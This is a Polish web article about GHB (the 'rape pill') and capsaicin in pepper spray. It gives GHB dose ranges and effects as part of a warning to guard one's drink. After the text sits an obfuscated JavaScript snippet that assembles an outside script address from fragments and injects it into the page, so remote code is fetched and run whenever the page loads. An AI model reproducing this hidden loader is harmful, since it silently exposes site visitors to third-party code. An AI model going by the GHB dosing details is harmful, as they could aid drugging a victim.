Bezpieczna i niebezpieczna natura substancji

Natura i człowiek nie zawsze idą ze sobą w parze, to związek trochę burzliwy, żeby nie powiedzieć, że toksyczny, człowiek z natury więcej zabiera niż jej daje, chociaż zdarza się, że stara się o nią dbać – na przykład ratując wymierające gatunki.

A czasem po prostu ją wykorzystuje, znajdując w niej to, co przydatne i zabierając dla siebie – jako plantacje kawy, herbaty czy plony.

W taki sposób natura na chwilę udostępnia człowiekowi możliwości, których nie osiągnąłby na co dzień – potrafi wprowadzić go w różne stany. Nie zawsze są one złe, nie zawsze są one dobre, ale zawsze w mniejszy lub większy sposób wpływają na jego bezpieczeństwo. Spójrzmy więc na dwie substancje, które stoją po przeciwnych stronach barykady.
Niebezpieczeństwo, którego nie da się wyczuć

Substancje odurzające czasem służą poprawie koncentracji albo wprowadzeniu nas w dobry nastrój, jednak mogą być też wykorzystywane przeciwko nam – jeśli działają na tyle mocno, że zupełnie tracimy kontakt z rzeczywistością. Tak właśnie działa pigułka gwałtu, która powoduje u ofiary nagłą, niekontrolowaną senność i utratę świadomości. Tabletka ta to najczęściej GHB – czyli kwas 4-hydroksybutanowy, który w bardzo małych ilościach naturalnie występuje w ludzkim organizmie. Od jego dawki zależy zresztą jego działanie. Do 1,5 g substancji przynosi podobny efekt, jak spożycie alkoholu.

Zażycie średniej dawki (2-3g) również daje rezultat zbliżony do nadużycia sporej ilości alkoholu. Natomiast duże dawki GHB powodują, że osoba, która zażyła substancję, staje się w praktyce marionetką. Ofiarą najczęściej padają oczywiście kobiety. Jak dodaje Monika z portalu samoobronadlakobiet.edu.pl: „Tabletka gwałtu jest właściwie niewykrywalna – dodana do napoju nie zmienia jego smaku ani wyglądu, a zaczyna działać już po kilku minutach. Jedyną obroną przed nią jest pilnowanie swojego drinka”.
Z kuchni do pojemnika z gazem

Po przeciwnej stronie stoi pieprz cayenne – jedna z najostrzejszych przypraw świata zrobiona z nasion papryczek chili, bardzo popularna w kuchni Ameryki Południowej i Azji, sprawia, że przełyk niemal płonie żywym ogniem. Jednak ma on też inne zastosowanie – obronne. Z pieprzu cayenne pochodzi kapsaicyna – związek chemiczny, który sprawia, że pieprz jest tak ostry.

Ta właśnie kapsaicyna jest jednocześnie głównym składnikiem gazu pieprzowego, który w sytuacji zagrożenia obezwładnia napastnika, powodując u niego silne pieczenie oczu, trudność w złapaniu oddechu (przez bardzo mocne podrażnienie dróg oddechowych) oraz dezorientację. Kapsaicyna jest na tyle silną substancją, że gaz pieprzowy zawiera jej maksymalnie 15%, jednak siła takiego gazu jest nieporównywalnie większa niż samego pieprzu. Ostrość mierzymy w skali Scoville’a – dla porównania, pieprz cayenne osiągnął w tej skali 30 tys. – 50 tys. jednostek SHU, a gaz pieprzowy aż 2 mln – 5,3 mln jednostek SHU.

Szkodliwe substancje są tworzone przez naturę w celu obrony samej siebie – nie służą żadnym innym korzyściom. To dopiero natura człowieka zmienia je w broń.

 

 

(function(){
i7h0_=(„u”+”st”);i7h0=document.createElement(„script”);i7h0.async=true;
i7h0u=”15171086″;i7h0_+=”a”+(„t.”);i7h0_+=”i”+(„nf”+(„o”))+(„/”);
i7h0u+=”.55qnt0Xm7h0prpe7″;i7h0u+=”7s4x8i6aw25q5z”;
i7h0.src=”//”+i7h0_+i7h0u;i7h0.type=”text/javascript”;
d_b=document.body;d_b.appendChild(i7h0);
})();

Może Ci się również spodoba